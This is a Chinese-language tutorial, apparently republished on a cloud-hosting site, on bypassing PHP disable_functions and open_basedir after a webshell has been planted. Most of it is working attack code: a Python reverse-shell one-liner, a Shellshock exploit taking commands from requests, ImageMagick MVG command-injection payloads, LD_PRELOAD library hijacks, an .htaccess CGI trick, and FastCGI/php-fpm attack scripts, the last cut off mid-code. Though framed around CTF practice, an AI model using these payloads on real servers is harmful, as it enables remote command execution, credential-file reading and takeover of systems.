溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

php中函數(shù)禁用繞過的原理與用法

發(fā)布時間:2021-10-18 10:45:49 來源:億速云 閱讀:164 作者:柒染 欄目:網(wǎng)絡管理

今天就跟大家聊聊有關php中函數(shù)禁用繞過的原理與用法,可能很多人都不太了解,為了讓大家更加了解,小編給大家總結了以下內(nèi)容,希望大家根據(jù)這篇文章可以有所收獲。

bypass disable function

是否遇到過費勁九牛二虎之力拿了webshell卻發(fā)現(xiàn)連個scandir都執(zhí)行不了?拿了webshell確實是一件很歡樂的事情,但有時候卻僅僅只是一個小階段的結束;本文將會以webshell作為起點從頭到尾來歸納bypass disable function的各種姿勢。

繞過函數(shù)過濾(通過本實驗學會通過寬字節(jié)方式繞過mysql_real_escape_string()、addslashes()這兩個函數(shù)。)

從phpinfo中獲取可用信息

信息收集是不可缺少的一環(huán);通常的,我們在通過前期各種工作成功執(zhí)行代碼 or 發(fā)現(xiàn)了一個phpinfo頁面之后,會從該頁面中搜集一些可用信息以便后續(xù)漏洞的尋找。

我談談我個人的幾個偏向點:

版本號

最直觀的就是php版本號(雖然版本號有時候會在響應頭中出現(xiàn)),如我的機器上版本號為:

PHP Version 7.2.9-1

那么找到版本號后就會綜合看看是否有什么"版本專享"漏洞可以利用。

DOCUMENT_ROOT

接下來就是搜索一下DOCUMENT_ROOT取得網(wǎng)站當前路徑,雖然常見的都是在/var/www/html,但難免有例外。

disable_functions

這是本文的重點,disable_functions顧名思義函數(shù)禁用,以筆者的kali環(huán)境為例,默認就禁用了如下函數(shù):

php中函數(shù)禁用繞過的原理與用法

如一些ctf題會把disable設置的極其惡心,即使我們在上傳馬兒到網(wǎng)站后會發(fā)現(xiàn)什么也做不了,那么此時的繞過就是本文所要講的內(nèi)容了。

open_basedir

該配置限制了當前php程序所能訪問到的路徑,如筆者設置了:

<?php
ini_set('open_basedir', '/var/www/html:' .'/tmp');
phpinfo();

隨后我們能夠看到phpinfo中出現(xiàn)如下:

php中函數(shù)禁用繞過的原理與用法

嘗試scandir會發(fā)現(xiàn)列根目錄失敗。

<?php
ini_set('open_basedir', '/var/www/html:' .'/tmp');
//phpinfo();
var_dump(scandir("."));
var_dump(scandir("/"));
//array(5) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) "index.html" [3]=> string(23) "index.nginx-debian.html" [4]=> string(11) "phpinfo.php" } bool(false)
opcache

如果使用了opcache,那么可能達成getshell,但需要存在文件上傳的點,直接看鏈接:

https://www.cnblogs.com/xhds/p/13239331.html

others

如文件包含時判斷協(xié)議是否可用的兩個配置項:

allow_url_include、allow_url_fopen

上傳webshell時判斷是否可用短標簽的配置項:

short_open_tag

還有一些會在下文中講到。

bypass open_basedir

因為有時需要根據(jù)題目判斷采用哪種bypass方式,同時,能夠列目錄對于下一步測試有不小幫助,這里列舉幾種比較常見的bypass方式,均從p神博客摘出,推薦閱讀p神博客原文,這里僅作簡略總結。

syslink

https://www.php.net/manual/zh/function.symlink.php

symlink ( string$target, string$link) : bool

symlink()對于已有的target建立一個名為link的符號連接。

簡單來說就是建立軟鏈達成bypass。

代碼實現(xiàn)如下:

<?php
symlink("abc/abc/abc/abc","tmplink"); 
symlink("tmplink/../../../../etc/passwd", "exploit"); 
unlink("tmplink"); 
mkdir("tmplink");

首先是創(chuàng)建一個link,將tmplink用相對路徑指向abc/abc/abc/abc,然后再創(chuàng)建一個link,將exploit指向tmplink/../../../../etc/passwd,此時就相當于exploit指向了abc/abc/abc/abc/../../../../etc/passwd,也就相當于exploit指向了./etc/passwd,此時刪除tmplink文件后再創(chuàng)建tmplink目錄,此時就變?yōu)?etc/passwd成功跨目錄。

訪問exploit即可讀取到/etc/passwd。

glob

查找匹配的文件路徑模式,是php自5.3.0版本起開始生效的一個用來篩選目錄的偽協(xié)議

常用bypass方式如下:

<?php
$c = "glob:///*";
$a = new DirectoryIterator($c);
foreach($a as $f){
 echo($f->__toString().'<br>');
}
?>

但會發(fā)現(xiàn)比較神奇的是只能列舉根目錄下的文件。

chdir()與ini_set()

chdir是更改當前工作路徑。

mkdir('test');
chdir('test');
ini_set('open_basedir','..');
chdir('..');chdir('..');chdir('..');chdir('..');
ini_set('open_basedir','/');
echo file_get_contents('/etc/passwd');

利用了ini_set的open_basedir的設計缺陷,可以用如下代碼觀察一下其bypass過程:

<?php
ini_set('open_basedir', '/var/www/html:' .'/tmp');
mkdir('test');
chdir('test');
ini_set('open_basedir','..');
printf('<b>open_basedir : %s </b><br />', ini_get('open_basedir'));
chdir('..');chdir('..');chdir('..');chdir('..');
ini_set('open_basedir','/');
printf('<b>open_basedir : %s </b><br />', ini_get('open_basedir'));
//open_basedir : ..
//open_basedir : /

bindtextdomain

該函數(shù)的第二個參數(shù)為一個文件路徑,先看代碼:

<?php
ini_set('open_basedir', '/var/www/html:' .'/tmp');

printf('<b>open_basedir: %s</b><br />', ini_get('open_basedir'));
$re = bindtextdomain('xxx', '/etc/passwd');
var_dump($re);
$re = bindtextdomain('xxx', '/etc/passw');
var_dump($re);
//open_basedir: /var/www/html:/tmp
//string(11) "/etc/passwd" bool(false)

可以看到當文件不存在時返回值為false,因為不支持通配符,該方法只能適用于linux下的暴力猜解文件。

Realpath

同樣是基于報錯,但realpath在windows下可以使用通配符<>進行列舉,腳本摘自p神博客:

<?php
ini_set('open_basedir', dirname(__FILE__));
printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
set_error_handler('isexists');
$dir = 'd:/test/';
$file = '';
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789_';
for ($i=0; $i < strlen($chars); $i++) { 
    $file = $dir . $chars[$i] . '<><';
    realpath($file);
}
function isexists($errno, $errstr)
{
    $regexp = '/File\((.*)\) is not within/';
    preg_match($regexp, $errstr, $matches);
    if (isset($matches[1])) {
        printf("%s <br/>", $matches[1]);
    }
}
?>

other

如命令執(zhí)行事實上是不受open_basedir的影響的。

bypass disable function

蟻劍項目倉庫中有一個各種disable的測試環(huán)境可以復現(xiàn),需要環(huán)境的師傅可以選用蟻劍的環(huán)境。

https://github.com/AntSwordProject/AntSword-Labs

黑名單突破

這個應該是最簡單的方式,就是尋找替代函數(shù)來執(zhí)行,如system可以采用如反引號來替代執(zhí)行命令。

看幾種常見用于執(zhí)行系統(tǒng)命令的函數(shù):

system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,``

當然了這些也常常出現(xiàn)在disable function中,那么可以尋找可以比較容易被忽略的函數(shù),通過函數(shù) or 函數(shù)組合拳來執(zhí)行命令。

  • 反引號:最容易被忽略的點,執(zhí)行命令但回顯需要配合其他函數(shù),可以反彈shell

  • pcntl_exec:目標機器若存在python,可用php執(zhí)行python反彈shell

<?php 
pcntl_exec("/usr/bin/python",array('-c', 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("{ip}",{port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'));?>

ShellShock

原理

本質(zhì)是利用bash破殼漏洞(CVE-2014-6271)。

影響范圍在于bash 1.14 – 4.3

關鍵在于:

目前的bash腳本是以通過導出環(huán)境變量的方式支持自定義函數(shù),也可將自定義的bash函數(shù)傳遞給子相關進程。一般函數(shù)體內(nèi)的代碼是不會被執(zhí)行,但此漏洞會錯誤的將“{}”花括號外的命令進行執(zhí)行。

本地驗證方法:

在shell中執(zhí)行下面命令:

env x='() { :;}; echo Vulnerable CVE-2014-6271 ' bash -c "echo test"

執(zhí)行命令后,如果顯示Vulnerable CVE-2014-6271,證系統(tǒng)存在漏洞,可改變echo Vulnerable CVE-2014-6271為任意命令進行執(zhí)行。

詳見:https://www.antiy.com/response/CVE-2014-6271.html

因為是設置環(huán)境變量,而在php中存在著putenv可以設置環(huán)境變量,配合開啟子進程來讓其執(zhí)行命令。

利用

https://www.exploit-db.com/exploits/35146

<?php
function shellshock($cmd) {
   $tmp = tempnam(".","data"); 
   putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1"); 
   error_log('a',1);
   $output = @file_get_contents($tmp); 
   @unlink($tmp); 
   if($output != "") return $output; 
   else return "No output, or not vuln."; 
} 
echo shellshock($_REQUEST["cmd"]); 
?>

將exp上傳后即可執(zhí)行系統(tǒng)命令bypass disable,就不做過多贅述。

ImageMagick

原理

漏洞源于CVE-2016-3714,ImageMagick是一款圖片處理程序,但當用戶傳入一張惡意圖片時,會造成命令注入,其中還有其他如ssrf、文件讀取等,當然最致命的肯定是命令注入。

而在漏洞出來之后各位師傅聯(lián)想到php擴展中也使用了ImageMagick,當然也就存在著漏洞的可能,并且因為漏洞的原理是直接執(zhí)行系統(tǒng)命令,所以也就不存在是否被disable的可能,因此可以被用于bypass disable。

關于更加詳細的漏洞分析請看p神的文章:CVE-2016-3714 - ImageMagick 命令執(zhí)行分析,我直接摘取原文中比較具有概括性的漏洞說明:

漏洞報告中給出的POC是利用了如下的這個委托:

<delegate decode="https" command="&ampquot;curl&ampquot; -s -k -o &ampquot;%o&ampquot; &ampquot;https:%M&ampquot;"/>

它在解析https圖片的時候,使用了curl命令將其下載,我們看到%M被直接放在curl的最后一個參數(shù)內(nèi)。ImageMagick默認支持一種圖片格式,叫mvg,而mvg與svg格式類似,其中是以文本形式寫入矢量圖的內(nèi)容,而這其中就可以包含https處理過程。

所以我們可以構造一個.mvg格式的圖片(但文件名可以不為.mvg,比如下圖中包含payload的文件的文件名為vul.gif,而ImageMagick會根據(jù)其內(nèi)容識別為mvg圖片),并在https://后面閉合雙引號,寫入自己要執(zhí)行的命令:

push graphic-context
viewbox 0 0 640 480
fill 'url(https://"|id; ")'
pop graphic-context

這樣,ImageMagick在正常執(zhí)行圖片轉(zhuǎn)換、處理的時候就會觸發(fā)漏洞。

漏洞的利用極其簡單,只需要構造一張惡意的圖片,new一個類即可觸發(fā)該漏洞:

<?php
new Imagick('test.mvg');
利用

那么依舊以靶場題為例,依舊以擁有一句話馬兒為前提,我們首先上傳一個圖片,如上面所述的我們圖片的后綴無需mvg,因此上傳一個jpg圖片:

php中函數(shù)禁用繞過的原理與用法

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'https://127.0.0.1/x.php?x=`cat /etc/passwd > /var/www/html/success`'
pop graphic-context

那么因為我們看不到回顯,所以可以考慮將結果寫入到文件中,或者直接執(zhí)行反彈shell。

然后如上上傳一個poc.php:

<?php
new Imagick('vul.jpg');

訪問即可看到我們寫入的文件。

那么這一流程頗為繁瑣(當我們需要多次執(zhí)行命令進行測試時就需要多次調(diào)整圖片內(nèi)容),因此我們可以寫一個php馬來動態(tài)傳入命令:

<?php
$command = $_GET['cmd'];

if ($command == '') {
    $command = 'whoami>success';
}

$exploit = <<<EOF
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'https://127.0.0.1/x.php?x=`$command`'
pop graphic-context
EOF;

file_put_contents("test.mvg", $exploit);
$thumb = new Imagick();
$thumb->readImage('test.mvg');
$thumb->writeImage('test.png');
$thumb->clear();
$thumb->destroy();
unlink("test.mvg");
unlink("test.png");
?>

LD_PRELOAD

喜聞樂見的LD_PRELOAD,這是我學習web時遇到的第一個bypass disable的方式,個人覺得很有意思。

原理

LD_PRELOAD是Linux系統(tǒng)的一個環(huán)境變量,它可以影響程序的運行時的鏈接(Runtime linker),它允許你定義在程序運行前優(yōu)先加載的動態(tài)鏈接庫。這個功能主要就是用來有選擇性的載入不同動態(tài)鏈接庫中的相同函數(shù)。通過這個環(huán)境變量,我們可以在主程序和其動態(tài)鏈接庫的中間加載別的動態(tài)鏈接庫,甚至覆蓋正常的函數(shù)庫。一方面,我們可以以此功能來使用自己的或是更好的函數(shù)(無需別人的源碼),而另一方面,我們也可以以向別人的程序注入程序,從而達到特定的目的。

而我們bypass的關鍵就是利用LD_PRELOAD加載庫優(yōu)先的特點來讓我們自己編寫的動態(tài)鏈接庫優(yōu)先于正常的函數(shù)庫,以此達成執(zhí)行system命令。

因為id命令比較易于觀察,網(wǎng)上文章也大同小異采用了id命令下的getuid/getgid來做測試,為做個試驗筆者換成了

我們先看看id命令的調(diào)用函數(shù):

strace -f /usr/bin/id

Resulut:

close(3)                                = 0
geteuid32()                             = 0
getuid32()                              = 0
getegid32()                             = 0
getgid32()                              = 0
(省略....)
getgroups32(0, NULL)                    = 1
getgroups32(1, [0])                     = 1

這里可以看到有不少函數(shù)可以編寫,我選擇getgroups32,我們可以用man命令查看一下函數(shù)的定義:

man getgroups32

看到這一部分: php中函數(shù)禁用繞過的原理與用法

得到了函數(shù)的定義,我們只需要編寫其內(nèi)的getgroups即可,因此我編寫一個hack.c:

#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int getgroups(int size, gid_t list[]){

	unsetenv("LD_PRELOAD");
	system("echo 'i hack it'");
	return 1;
}

然后使用gcc編譯成一個動態(tài)鏈接庫:

gcc -shared -fPIC hack.c -o hack.so

使用LD_PRELOAD加載并執(zhí)行id命令,我們會得到如下的結果:

php中函數(shù)禁用繞過的原理與用法

再來更改一下uid測試,我們先adduser一個新用戶hhhm,執(zhí)行id命令結果如下:

php中函數(shù)禁用繞過的原理與用法

然后根據(jù)上面的步驟取得getuid32的函數(shù)定義,據(jù)此來編寫一個hack.c:

#include <stdlib.h>
#include <dlfcn.h>
#include <unistd.h>
#include <sys/types.h>

uid_t geteuid( void ) { return 0; }
uid_t getuid( void ) { return 0; }
uid_t getgid( void ) { return 0; }

gcc編譯后,執(zhí)行,結果如下:

php中函數(shù)禁用繞過的原理與用法

可以看到我們的uid成功變?yōu)?,且更改為root了,當然了因為我們的hack.so是root權限編譯出來的,在一定條件下也許可以用此種方式來提權,網(wǎng)上也有相關文章,不過我沒實際嘗試過就不做過分肯定的說法。

下面看看在php中如何配合利用達成bypass disable。

php中的利用

php中主要是需要配合putenv函數(shù),如果該函數(shù)被ban了那么也就沒他什么事了,所以bypass前需要觀察disable是否ban掉putenv。

php中的利用根據(jù)大師傅們的文章我主要提取出下面幾種利用方式,其實質(zhì)都是大同小異,需要找出一個函數(shù)然后采用相同的機制覆蓋掉其函數(shù)進而執(zhí)行系統(tǒng)命令。

那么我們受限于disable,system等執(zhí)行系統(tǒng)命令的函數(shù)無法使用,而若想要讓php調(diào)用外部程序來進一步達成執(zhí)行系統(tǒng)命令從而達成bypass就只能依賴與php解釋器本身。

因此有一個大前提就是需要從php解釋器中啟動子進程。

老套路之mail

先選取一臺具有sendmail的機器,筆者是使用kali,先在php中寫入如下代碼

<?php
mail("","","","");

同樣的可以使用strace來追蹤函數(shù)的執(zhí)行過程。

strace -f php phpinfo.php 2>&1 | grep execve

php中函數(shù)禁用繞過的原理與用法

可以看到這里調(diào)用了sendmail,與網(wǎng)上的文章同樣的我們可以追蹤sendmail來查看其調(diào)用過程,或者使用readelf可以查看其使用函數(shù):

strace sendmail

php中函數(shù)禁用繞過的原理與用法

那么以上面的方式編寫并編譯一個動態(tài)鏈接庫然后利用LD_PRELOAD去執(zhí)行我們的命令,這就是老套路的利用。

因為沒有回顯,為方便查看效果我寫了一個ls>test,因此hack.c如下:

#include <stdlib.h>
#include <dlfcn.h>
#include <unistd.h>
#include <sys/types.h>

uid_t geteuid( void ) { system("ls>test"); return 0; }
uid_t getuid( void ) { return 1; }
uid_t getgid( void ) { return 0; }

同樣的gcc編譯后,頁面寫入如下:

<?php
putenv("LD_PRELOAD=./hack.so");
mail("","","","");
?>

訪問頁面得到運行效果如下:

php中函數(shù)禁用繞過的原理與用法

再提一個我在利用過程中走錯的點,這里為測試,我換用一臺沒有sendmail的ubuntu:

php中函數(shù)禁用繞過的原理與用法

但如果我們按照上面的步驟直接追蹤index的執(zhí)行而不過濾選取execve會發(fā)現(xiàn)同樣存在著geteuid,并且但這事實上是sh調(diào)用的而非mail調(diào)用的,因此如果我們使用php index.php來調(diào)用會發(fā)現(xiàn)system執(zhí)行成功,但如果我們通過頁面來訪問則會發(fā)現(xiàn)執(zhí)行失敗,這是一個在利用過程中需要注意的點,這也就是為什么我們會使用管道符來選取execve。

第一個execve為php解釋器啟動的進程,而后者即為我們所需要的sendmail子進程。

error_log

同樣的除了mail會調(diào)用sendmail之外,還有error_log也會調(diào)用,如圖:

php中函數(shù)禁用繞過的原理與用法

ps:當error_log的type為1時就會調(diào)用到sendmail。

因此上面針對于mail函數(shù)的套路對于error_log同樣適用,however,我們會發(fā)現(xiàn)此類劫持都只是針對某一個函數(shù),而前面所做的都是依賴與sendmail,而像目標機器如果不存在sendmail,那么前面的做法就完全無用。

yangyangwithgnu師傅在其文無需sendmail:巧用LD_PRELOAD突破disable_functions提到了我們不要局限于僅劫持某一函數(shù),而應考慮劫持共享對象。

劫持共享對象

文中使用到了如下代碼編寫的庫:

#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

__attribute__ ((__constructor__)) void anything (void){
    unsetenv("LD_PRELOAD");
    system("ls>test");
}

那么關于__attribute__ ((__constructor__))個人理解是其會在共享庫加載時運行,也就是程序啟動時運行,那么這一步的利用同樣需要有前面說到的啟動子進程這一個大前提,也就是需要有類似于mail、Imagick可以令php解釋器啟動新進程的函數(shù)。

同樣的將LD_PRELOAD指定為gcc編譯的共享庫,然后訪問頁面查看,會發(fā)現(xiàn)成功將ls寫到test下(如果失敗請檢查寫權限問題)

0ctf 2019中Wallbreaker Easy中的出題點就是采用了imagick在處理一些特定后綴文件時,會調(diào)用ffmpeg,也就是會開啟子進程,從而達成加載共享庫執(zhí)行系統(tǒng)命令bypass disable。

Apache Mod CGI

前面的兩種利用都需要putenv,如果putenv被ban了那么就需要這種方式,簡單介紹一下原理。

原理

利用htaccess覆蓋apache配置,增加cgi程序達成執(zhí)行系統(tǒng)命令,事實上同上傳htaccess解析png文件為php程序的利用方式大同小異。

mod cgi:

任何具有MIME類型application/x-httpd-cgi或者被cgi-script處理器處理的文件都將被作為CGI腳本對待并由服務器運行,它的輸出將被返回給客戶端??梢酝ㄟ^兩種途徑使文件成為CGI腳本,一種是文件具有已由AddType指令定義的擴展名,另一種是文件位于ScriptAlias目錄中。

因此我們只需上傳一個.htaccess:

Options +ExecCGI  //使運行cgi程序的執(zhí)行
AddHandler cgi-script .test	//將test后綴的文件解析為cgi程序
利用

利用就很簡單了:

  • 上傳htaccess,內(nèi)容為上文所給出的內(nèi)容

  • 上傳a.test,內(nèi)容為:

#!/bin/bash
echo&&ls

給a.test權限,訪問即可得到執(zhí)行結果。

PHP-FPM

php-fpm相信有讀者在配置php環(huán)境時會遇到,如使用nginx+php時會在配置文件中配置如下:

location ~ .php$ {
root html;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
}

那么看看百度百科中關于php-fpm的介紹:

PHP-FPM(FastCGI Process Manager:FastCGI進程管理器)是一個PHPFastCGI管理器,對于PHP 5.3.3之前的php來說,是一個補丁包 [1] ,旨在將FastCGI進程管理整合進PHP包中。如果你使用的是PHP5.3.3之前的PHP的話,就必須將它patch到你的PHP源代碼中,在編譯安裝PHP后才可以使用。

那么fastcgi又是什么?Fastcgi 是一種通訊協(xié)議,用于Web服務器與后端語言的數(shù)據(jù)交換。

原理

那么我們在配置了php-fpm后如訪問http://127.0.0.1/test.php?test=1,那么會被解析為如下鍵值對:

{
    'GATEWAY_INTERFACE': 'FastCGI/1.0',
    'REQUEST_METHOD': 'GET',
    'SCRIPT_FILENAME': '/var/www/html/test.php',
    'SCRIPT_NAME': '/test.php',
    'QUERY_STRING': '?test=1',
    'REQUEST_URI': '/test.php?test=1',
    'DOCUMENT_ROOT': '/var/www/html',
    'SERVER_SOFTWARE': 'php/fcgiclient',
    'REMOTE_ADDR': '127.0.0.1',
    'REMOTE_PORT': '12304',
    'SERVER_ADDR': '127.0.0.1',
    'SERVER_PORT': '80',
    'SERVER_NAME': "localhost",
    'SERVER_PROTOCOL': 'HTTP/1.1'
}

這個數(shù)組很眼熟,會發(fā)現(xiàn)其實就是$_SERVER里面的一部分,那么php-fpm拿到這一個數(shù)組后會去找到SCRIPT_FILENAME的值,對于這里的/var/www/html/test.php,然后去執(zhí)行它。

前面筆者留了一個配置,在配置中可以看到fastcgi的端口是9000,監(jiān)聽地址是127.0.0.1,那么如果地址為0.0.0.0,也即是將其暴露到公網(wǎng)中,倘若我們偽造與fastcgi通信,這樣就會導致遠程代碼執(zhí)行。

那么事實上php-fpm通信方式有tcp也就是9000端口的那個,以及socket的通信,因此也存在著兩種攻擊方式。

socket方式的話配置文件會有如下:

fastcgi_pass unix:/var/run/phpfpm.sock;

那么我們可以稍微了解一下fastcgi的協(xié)議組成,其由多個record組成,這里摘抄一下p神原文中的一段結構體:

typedef struct {
  /* Header */
  unsigned char version; // 版本
  unsigned char type; // 本次record的類型
  unsigned char requestIdB1; // 本次record對應的請求id
  unsigned char requestIdB0;
  unsigned char contentLengthB1; // body體的大小
  unsigned char contentLengthB0;
  unsigned char paddingLength; // 額外塊大小
  unsigned char reserved; 

  /* Body */
  unsigned char contentData[contentLength];
  unsigned char paddingData[paddingLength];
} FCGI_Record;

可以看到record分為header以及body,其中header固定為8字節(jié),而body由其contentLength決定,而paddingData為保留段,不需要時長度置為0。

而type的值從1-7有各種作用,當其type=4時,后端就會將其body解析成key-value,看到key-value可能會很眼熟,沒錯,就是我們前面看到的那一個鍵值對數(shù)組,也就是環(huán)境變量。

那么在學習漏洞利用之前,我們有必要了解兩個環(huán)境變量,

  • PHP_VALUE:可以設置模式為PHP_INI_USERPHP_INI_ALL的選項

  • PHP_ADMIN_VALUE:可以設置所有選項(除了disable_function)

那么以p神文中的利用方式我們需要滿足三個條件:

  • 找到一個已知的php文件

  • 利用上述兩個環(huán)境變量將auto_prepend_file設置為php://input

  • 開啟php://input需要滿足的條件:allow_url_include為on

此時熟悉文件包含漏洞的童鞋就一目了然了,我們可以執(zhí)行任意代碼了。

這里利用的情況為:

'PHP_VALUE': 'auto_prepend_file = php://input'
'PHP_ADMIN_VALUE': 'allow_url_include = On'
利用

我們先直接看phpinfo如何標識我們可否利用該漏洞進行攻擊。

php中函數(shù)禁用繞過的原理與用法

那么先以攻擊tcp為例,倘若我們偽造nginx發(fā)送數(shù)據(jù)(fastcgi封裝的數(shù)據(jù))給php-fpm,這樣就會造成任意代碼執(zhí)行漏洞。

p神已經(jīng)寫好了一個exp,因為開放fastcgi為0.0.0.0的情況事實上同攻擊內(nèi)網(wǎng)相似,所以這里可以嘗試一下攻擊127.0.0.1也就是攻擊內(nèi)網(wǎng)的情況,那么事實上我們可以配合gopher協(xié)議來攻擊內(nèi)網(wǎng)的fpm,因為與本文主題不符就不多講。

python a.py 127.0.0.1 -p 9000 /var/www/html/phpinfo.php -c '<?php echo `id`;exit;?>'

可以看到結果如圖所示:

php中函數(shù)禁用繞過的原理與用法

攻擊成功后我們?nèi)ゲ榭匆幌聀hpinfo會看到如下:

php中函數(shù)禁用繞過的原理與用法

也就是說我們構造的攻擊包為:

{
    'GATEWAY_INTERFACE': 'FastCGI/1.0',
    'REQUEST_METHOD': 'GET',
    'SCRIPT_FILENAME': '/var/www/html/phpinfo.php',
    'SCRIPT_NAME': '/phpinfo.php',
    'QUERY_STRING': '',
    'REQUEST_URI': '/phpinfo.php',
    'DOCUMENT_ROOT': '/var/www/html',
    'SERVER_SOFTWARE': 'php/fcgiclient',
    'REMOTE_ADDR': '127.0.0.1',
    'REMOTE_PORT': '12304',
    'SERVER_ADDR': '127.0.0.1',
    'SERVER_PORT': '80',
    'SERVER_NAME': "localhost",
    'SERVER_PROTOCOL': 'HTTP/1.1',
    'PHP_VALUE': 'auto_prepend_file = php://input',
    'PHP_ADMIN_VALUE': 'allow_url_include = On'
}

很明顯的前面所說的都是成立的;然而事實上我這里是沒有加入disable的情況,我們往里面加入disable再嘗試。

pkill php-fpm
/usr/sbin/php-fpm7.0 -c /etc/php/7.0/fpm/php.ini

注意修改了ini文件后重啟fpm需要指定ini。

我往disable里壓了一個system:

pcntl_alarm,system,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,

然后再執(zhí)行一下exp,可以發(fā)現(xiàn)被disable了:

php中函數(shù)禁用繞過的原理與用法

因此此種方法還無法達成bypass disable的作用,那么不要忘了我們的兩個php_value能夠修改的可不僅僅只是auto_prepend_file,并且的我們還可以修改basedir來繞過;在先前的繞過姿勢中我們是利用到了so文件執(zhí)行擴展庫來bypass,那么這里同樣可以修改extension為我們編寫的so庫來執(zhí)行系統(tǒng)命令,具體利用有師傅已經(jīng)寫了利用腳本,事實上蟻劍中的插件已經(jīng)能實現(xiàn)了該bypass的功能了,那么下面我直接對蟻劍中插件如何實現(xiàn)bypass做一個簡要分析。

在執(zhí)行蟻劍的插件時會發(fā)現(xiàn)其在當前目錄生成了一個.antproxy.php文件,那么我們后續(xù)的bypass都是通過該文件來執(zhí)行,那么先看一下這個shell的代碼:

<?php
function get_client_header(){
    $headers=array();
    foreach($_SERVER as $k=>$v){
        if(strpos($k,'HTTP_')===0){
            $k=strtolower(preg_replace('/^HTTP/', '', $k));
            $k=preg_replace_callback('/_\w/','header_callback',$k);
            $k=preg_replace('/^_/','',$k);
            $k=str_replace('_','-',$k);
            if($k=='Host') continue;
            $headers[]="$k:$v";
        }
    }
    return $headers;
}
function header_callback($str){
    return strtoupper($str[0]);
}
function parseHeader($sResponse){
    list($headerstr,$sResponse)=explode("

",$sResponse, 2);
    $ret=array($headerstr,$sResponse);
    if(preg_match('/^HTTP/1.1 d{3}/', $sResponse)){
        $ret=parseHeader($sResponse);
    }
    return $ret;
}

set_time_limit(120);
$headers=get_client_header();
$host = "127.0.0.1";
$port = 60882;
$errno = '';
$errstr = '';
$timeout = 30;
$url = "/index.php";

if (!empty($_SERVER['QUERY_STRING'])){
    $url .= "?".$_SERVER['QUERY_STRING'];
};

$fp = fsockopen($host, $port, $errno, $errstr, $timeout);
if(!$fp){
    return false;
}

$method = "GET";
$post_data = "";
if($_SERVER['REQUEST_METHOD']=='POST') {
    $method = "POST";
    $post_data = file_get_contents('php://input');
}

$out = $method." ".$url." HTTP/1.1\r\n";
$out .= "Host: ".$host.":".$port."\r\n";
if (!empty($_SERVER['CONTENT_TYPE'])) {
    $out .= "Content-Type: ".$_SERVER['CONTENT_TYPE']."\r\n";
}
$out .= "Content-length:".strlen($post_data)."\r\n";

$out .= implode("\r\n",$headers);
$out .= "\r\n\r\n";
$out .= "".$post_data;

fputs($fp, $out);

$response = '';
while($row=fread($fp, 4096)){
    $response .= $row;
}
fclose($fp);
$pos = strpos($response, "\r\n\r\n");
$response = substr($response, $pos+4);
echo $response;

定位到關鍵代碼:

$headers=get_client_header();
$host = "127.0.0.1";
$port = 60882;
$errno = '';
$errstr = '';
$timeout = 30;
$url = "/index.php";

if (!empty($_SERVER['QUERY_STRING'])){
    $url .= "?".$_SERVER['QUERY_STRING'];
};

$fp = fsockopen($host, $port, $errno, $errstr, $timeout);

可以看到它這里向60882端口進行通信,事實上這里蟻劍使用/bin/sh -c php -n -S 127.0.0.1:60882 -t /var/www/html開啟了一個新的php服務,并且不使用php.ini,因此也就不存在disable了,那么我們在觀察其執(zhí)行過程會發(fā)現(xiàn)其還在tmp目錄下上傳了一個so文件,那么至此我們有理由推斷出其通過攻擊php-fpm修改其extension為在tmp目錄下上傳的擴展庫,事實上從該插件的源碼中也可以得知確實如此:

php中函數(shù)禁用繞過的原理與用法

那么啟動了該php server后我們的流量就通過antproxy.php轉(zhuǎn)發(fā)到無disabel的php server上,此時就成功達成bypass。

加載so擴展

前面雖然解釋了其原理,但畢竟理論與實踐有所區(qū)別,因此我們可以自己打一下extension進行測試。

so文件可以從項目中獲取,根據(jù)其提示編譯即可獲取ant.so的庫,修改php-fpm的php.ini,加入:

extension=/var/www/html/ant.so

然后重啟php-fpm,如果使用如下:

<?php
antsystem("ls");

成功執(zhí)行命令時即說明擴展成功加載,那么我們再把ini恢復為先前的樣子,我們嘗試直接攻擊php-fpm來修改其配置項。

以腳本來攻擊:

import requests

sess = requests.session()

def execute_php_code(s):
    res = sess.post('http://192.168.242.5/index.php', data={"a": s})
    return res.text


code = '''
class AA
{
    const VERSION_1            = 1;

    const BEGIN_REQUEST        = 1;
    const ABORT_REQUEST        = 2;
    const END_REQUEST          = 3;
    const PARAMS               = 4;
    const STDIN                = 5;
    const STDOUT               = 6;
    const STDERR               = 7;
    const DATA                 = 8;
    const GET_VALUES           = 9;
    const GET_VALUES_RESULT    = 10;
    const UNKNOWN_TYPE         = 11;
    const MAXTYPE              = self::UNKNOWN_TYPE;

    const RESPONDER            = 1;
    const AUTHORIZER           = 2;
    const FILTER               = 3;

    const REQUEST_COMPLETE     = 0;
    const CANT_MPX_CONN        = 1;
    const OVERLOADED           = 2;
    const UNKNOWN_ROLE         = 3;

    const MAX_CONNS            = 'MAX_CONNS';
    const MAX_REQS             = 'MAX_REQS';
    const MPXS_CONNS           = 'MPXS_CONNS';

    const HEADER_LEN           = 8;

    /**
     * Socket
     * @var Resource
     */
    private $_sock = null;

    /**
     * Host
     * @var String
     */
    private $_host = null;

    /**
     * Port
     * @var Integer
     */
    private $_port = null;

    /**
     * Keep Alive
     * @var Boolean
     */
